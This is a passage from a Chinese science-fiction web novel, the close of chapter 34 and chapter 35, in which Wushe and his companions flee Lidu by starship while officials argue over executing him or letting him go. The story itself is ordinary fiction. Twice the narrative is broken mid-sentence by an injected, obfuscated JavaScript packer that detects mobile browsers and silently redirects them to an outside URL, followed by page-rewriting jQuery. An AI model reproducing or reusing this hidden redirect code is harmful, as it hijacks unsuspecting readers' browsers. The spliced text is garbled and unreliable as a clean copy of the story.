但乌舍别无选择,他以及何慈林、何冬塞都在政府的监管视线之内,放逐区的暴徒不能跨星球流动,唯一能合法拿到通关申请又不那么引人注目,且和他有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14357338|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交情的只有菲拉洛。 好在这个知恩图报的雌虫没有辜负他的信任。 他们汇合后,菲拉洛带着他们迅速前往停着星舰的停机坪,星舰要比飞行器体积大。菲拉洛替乌舍买的这辆星舰价值一千二百万英吉,通体漆黑,在宇宙航行时带有“隐身”功能,实际上是依托外表的特殊涂层和反追踪系统形成的信号屏蔽。 菲拉洛用虹膜识别启动星舰,并现场录入了乌舍的身份验证信息,进入之后年仅5岁的亚雌幼崽墨菲坐在行李箱上望着他们,见到乌舍后露出了小小的笑容。 基于现在的形势,菲拉洛如果送他们出利都,他返回后势必要受到政府的压力。为此他和乌舍沟通过,希望带着自己的孩子一起,跟他们离开这个星球,不再回来。 菲拉洛当时在终端上说:“托您的福,现在除了小墨菲,我已经没有任何牵挂了。我和墨菲都是自由的,在哪里都能生活,希望您能让我报答您的恩情。” 星舰内部空间很大,墨菲却只坐在自己的行李箱上,离操作屏幕和配备的椅子们远远的。 乌舍上前,尝试把他抱起来,但稍微用力的那刻立即眼前一黑。旁边目睹过他口鼻溢血的何冬塞接手,替他把墨菲抱到了椅子上。 菲拉洛并未察觉不对,他坐到主驾驶位上,快速而熟练地发动星舰。低低的震动声响起,他们周身骤然一沉,短暂的失重感后,星舰已然升上高空。 坐稳后,何慈林拿出乌舍在中心医院做义工时,打着“为医疗服务做贡献”名头拿来的信息素收集项链。当时乌舍拿了两条,交给了他保管,后来事态发展急剧变化,乌舍并没有归还项链,而中心医院也不可能找已经被羁押的乌舍索要回来。 戴上项链,乌舍周身失控般逸散的信息素骤然消失,何慈林身上的信息素也褪得一干二净。他们在脸上做了些伪装,看起来就是一对外貌较为出众的亚雌。 出境的星舰要统一从高空港口离开,在港口会有安保核对通关申请,菲拉洛在申请时写的是共五名乘客,两个雌虫、三个亚雌。申请只要求登记星舰所有者的信息和主驾驶者的信息,乌舍将这辆星舰登记在了菲拉洛名下,因此他只需要登记自己的身份信息。 他们的这个出行组合非常大众,正常来讲不会引起安保的注意。但除了核对菲拉洛的身份信息外,安保还会对其他乘员进行面部扫描,确认不是在册的逃犯。 乌舍现在是否已经被利都政府通缉,脸上的伪装又是否能够瞒过扫描仪器,谁也说不准。 菲拉洛控制星舰滑入出境的排队轨道,掌心不自觉渗出汗水。何慈林前小半生困在政府分配的小房子中,陡然经历了在星球执行官眼皮子底下放血引路、见到大批聚在一起的暴徒,现在还要开始逃亡,一时竟有些头晕目眩。 但他看向坐在身边的乌舍,雄虫前不久喷溅满脸的血迹已经在路上擦干净,此刻面颊瓷白,面无表情,腿边还放着巴拉太从LE区扛回来的断了电的智能机器人。他目视前方,似乎丝毫不为外界的一切紧张动容。 何慈林的起伏不定的心不自觉沉静下来。 ——港口大开,前面的星舰驶离,该轮到他们了。 35. 第 35 章 安保示意他们停下,开启星舰门,乘客出来进行手续核验。菲拉洛深吸一口气,带头走出了舱门,他从终端中调出通关申请,安保手持的核验设备扫描后“滴”了一声,显示:核验通过。 菲拉洛接着让到一边,让身后的墨菲、何家兄弟,以及排在最后的乌舍进行面部识别。 安保见到何慈林后目露惊艳,表情也柔和了一些,说了一句:“你有些眼熟。” 何慈林扯出僵硬的笑容,扫描设备连续滑过墨菲、何冬塞和他的脸,都没有进行报警,他们顺利通过。 现在只剩乌舍。 安保看见乌舍后愣了一下,没有立刻动作。何慈林默默抓紧了手掌,菲拉洛已经不着痕迹地退入星舰内部,走到了驾驶座边上,而何冬塞来到乌舍斜前方,在他和安保之间——如有任何意外,他们将暴力闯关。 乌舍很长一段时间以来都处于利都的舆论中心,他原本的脸几乎为所有利都虫族所知。安保微微耸动鼻尖,似乎在判别他的性别,大概是没闻到任何信息素的气味,终于迟疑着用仪器对准他的脸。 扫描仪器的红光扫过他的五官,忽然发出短促的警鸣! 安保的眼神骤然一变,刚要扬手示意,乌舍忽然抬眼对上他的眼睛。无形的精神力强悍插.入对方的大脑,霎时控制了一切思维感官,安保动作蓦然顿住。他举起的手放下,关掉了报警中的扫描设备,对偏头望过来的同事摇头,说了句“没问题”。 随即他神态自然地做出放行的手势,旁边一前一后站着的何家兄弟惊出了浑身冷汗。 乌舍转身,细细的血线从他鼻腔淌下,何慈林压着嗓子惊呼。乌舍看他一眼,随手抹去了流下的鼻血,在唇边脸颊涂开不均匀的红色。何慈林注意到他的眼睛,眼白已爬满血丝,好像下一刻连眼角也要淌下血来。 他咬紧牙关,托住了乌舍的胳膊。 但乌舍似乎不需要他搀扶,脊背笔直,走得很稳。他们重新回到舱内内,星舰门闭合,菲拉洛长松一口气,立刻启动引擎,没有谁注意到乌舍走向舱门的那刻,港内的监控摄像头对准他的方向转了转。 星舰笔直地向前滑行,就在即将驶出港口的时候,关卡毫无预兆落下,高密度合金材料反射出冰冷的光泽,启动中的星舰头部差点撞上关卡表面! 与此同时,脱离精神力控制的安保猛地一个激灵,怔在原地看了看自己的手,又看了看前方的星舰,反应过来自己刚刚做了什么,他立刻按响腰间的警报器,霎时港内警鸣大作,巡游的警卫队迅速向这里跑来。 菲拉洛沉下眉毛,低低骂了句脏话,说:“拼了。” 在高空之下,地面警控中心接收到来自港口监控的拍摄画面,确认镜头中的脸和数据库中的罪犯乌舍的面貌高度匹配。 这一信息立刻由警员层层上报,发送到了利都安保局局长的终端上,而这位亚雌局长正在参加星球密级最高的研判会议。 他看清消息内容后冷笑一声,拍桌子打断了正在发言的外联部部长的话,扬声。 “各位,请恕我插话,现在还在意个狗屁舆论?现在那个乌舍已经跑到高空港口了!他差一步就能离开利都!他要是跑了我们说什么还有用吗?!” 整个会议室骤然一静,秘书适时上前接通现场和警控中心的监控画面,高空港口正在发生的一切实时转播到会议室的投屏上,原本慷慨激昂的外联部部长不说话了。 安保局局长指着屏幕说:“我的态度一直很明确,从我们决定用这个雄虫做解剖实验、事后秘密处决他起,我们和他已经结成了死仇。无论他是否真的二次进化、又进化成了什么等级,对我们毫无意义。既然要杀他,那就做到底。” 他环顾一圈:“等他死了,无论是默默等待舆论平息,还是做出其他行动,我们会掌握接下来的时间。” 行政中心的二把手抬眼:“平息?我们能等到舆论平息的那天吗?上一个二次进化的雄虫出现在一万年以前,他是过渡耗费精神力死了,但是留下的歌德利宣言至今仍然在影响着整个虫族,这种等级的雄虫能造成的影响是不可估量的!” “正是因为这样!”民政部部长说:“一旦他站在我们的对立面,我们的理想会受到致命打击——而我们对他所做的事情,无疑已经将他推向了对立的一方,所以绝不能放任他不管。” 行政二把手说:“我们的理想是让三性从出生起就站在平等的起跑线上,让雌虫和亚雌拿回自由的一生,如果……” 安保局局长说:“你难道还想着争取他?雄虫生来丧失同理心、睚眦必报,你想用什么代价让他与我们和解,甚至支持我们?我一年能收到无数起被凌虐致死的雌虫、亚雌的死亡报告,与之相对的,雄虫的出生率只不过逐年增长那么一点,几乎只是一条直线!以雌虫和亚雌的生命为代价,只能换到这么点成果的话,还不如就不要什么种族未来!我劝你不要想着再和雄虫做交易,对待他们,付出的所有代价都是亏本买卖!” 生科院院长在这场争论中始终不发一言,此刻才开口说:“论历史数据,一万年前死在雌虫、亚雌手里的雄虫,和这一万年来死在雄虫手里的雌虫、亚雌数量并不对等——雄虫显然死得更多。” 安保局局长皱起眉毛,锐利地眼神望向他:“你是什么意思?” 生科院院长说:“我的意思是,如果雄虫的出生率确实有在增长,而他们的精神力不再日渐衰退,反而有进化、或者说恢复到万年以前的趋势的话,现在这笔买卖还不算亏本。” 民政部部长尖锐地问:“你是说虫族的命是砝码,这边是雄虫的,那边是雌虫和亚雌的,非要两边填平了才可以吗?” 生科院院长回视他:“从公平的角度来讲,没错。我原本以为雄虫只会越来越孱弱,虫族注定只能走向灭亡,只是时间长短的问题。既然如此委曲求全就没有必要,不如及时行乐,所以我支持你们逐步撤掉雄虫特权的计划。” “乌舍,这个出格的雄虫,我们原本打算用他做实验探究雄虫衰退的原因。结果意外发现他没有虫纹,这个长大后反而褪去虫纹的雄虫更佐证了虫族的未来丧失希望,然而事实截然相反。” “他的虫纹只是暂时消失,也许这是二次进化的前兆……反正我们谁也不知道雄虫除了成年时的精神力定级,发生二次进化是什么样的,算上他历史上也只有两个而已。” 安保局局长说:“那又怎样,能说明什么?难道雄虫的精神力开始回升了这个种族就有希望了吗,你难道没看出来,这一万年来雄虫始终沉浸在仇恨之中,憎恨其他性别——尤其是雌虫,这几乎已经刻在了他们的基因里!在这种情况下雄虫中如果出现了一个了不得的领袖,那么天平永远不会平衡,另一端雌虫和亚雌的尸体只会越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14357339|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。你以为简单的数字平衡就能满足雄虫的复仇心理?” 见生科院院长想要开口,安保局局长又补充一句:“你记得歌德利宣言的最后一句是什么吗?” 生科院院长最终沉默下来,半晌,长长叹了口气,低喃道:“但毕竟已经过了一万年……” 安保局局长没接话,盯着屏幕上被警卫队团团围绕的星舰,就要用终端发出“当场处决”的指令。 “稍等。”行政中心一把手、这个星球的最高执行官,左伦,忽然开口:“如果我们让他自由地离开呢?” 参会政员同时怔住,不约而同地望向他。 安保局局长说:“你……” 左伦原本灰白的头发短短一天内全然白了,他脸上的每缕皱纹都透着疲惫,但眉宇中又有着新燃起的,清晰的火苗。 “你们记得他精神力爆发后做的第一件事是什么吗?” “他没有让现场接受精神力疗愈后恢复战斗力的虫群继续战斗,他选择了撤离。然后他带上那个和他交情甚密的雌虫的尸体,去LE区拆走了具有生物信息储存功能的机器人,还带走了他的两个邻居,其中一个是雄虫、一个是雌虫。” “带领虫群回到放逐区后,面对一整个区的暴徒,他在煽动暴徒们反攻进行报复和留守原地之间,选择了在放逐区外划一条‘边界线’,警告我们不要擅自踏入。” 民政部部长微怔:“你是说……” “——对,他在保护身边的雌虫,甚至是这帮迟早会丧失理智、疯狂至死的暴徒。” 左伦的目光缓慢扫过在座的每一位,问:“我们最开始不正是因为他对待雌虫、亚雌的不同态度,才决定拿他做‘社会积分制度’的探路石吗?” 安保局局长深吸一口气:“所以你想把他放走?他这个等级的精神力注定了会走出一条绝不平凡的道路,乃至成为整个雄虫群体的领头者。你要赌一个雄虫对雌虫、亚雌的善良和怜悯,用整个虫族的未来?” “为什么不呢?”左伦和他四目相对,沉声说:“如果他未来真的能做到一万年前那个雄虫的程度,对待雌虫和亚雌的态度却与其截然相反的话,他能带来的影响力将是我们无论做什么也比不上的。” “即使到了那个时候,他第一件事就是向我复仇,我也可以坦然赴死。” “别忘了,我们的理想是为虫族赢得一个全新的未来——现在希望就在我们眼前。” “怎么样?”左伦站直了身体,沉声问:“要赌吗?” 整个会议室在一阵窃窃私语后静默下来,安保局局长动了动嘴唇,但最终没有开口。 左伦等了片刻,确认没收到反对意见,目光落到了监控屏幕上。他盯着画面中那辆漆黑的星舰,开口。 “现在,放行!” 指令层层下达,港口警卫后撤,关卡重新打开。正准备暴力闯关的菲拉洛下意识推满动力冲了出去,直到星舰驶出港口,他才慢半拍往后看了一眼。 视野内,利都星离他们越来越远,周围的云层迅速消逝,黑暗将他们完全包裹,远方团聚的星云隐隐透来光亮。他身后的小墨菲、一左一右坐着的何冬塞与何慈林都在转头后望,而脸色苍白的乌舍正面迎接着在眼前豁然展开的宏大宇宙。 他们终于奔向充满变数和未知的未来。 《卷一:利都·向死而生》(完)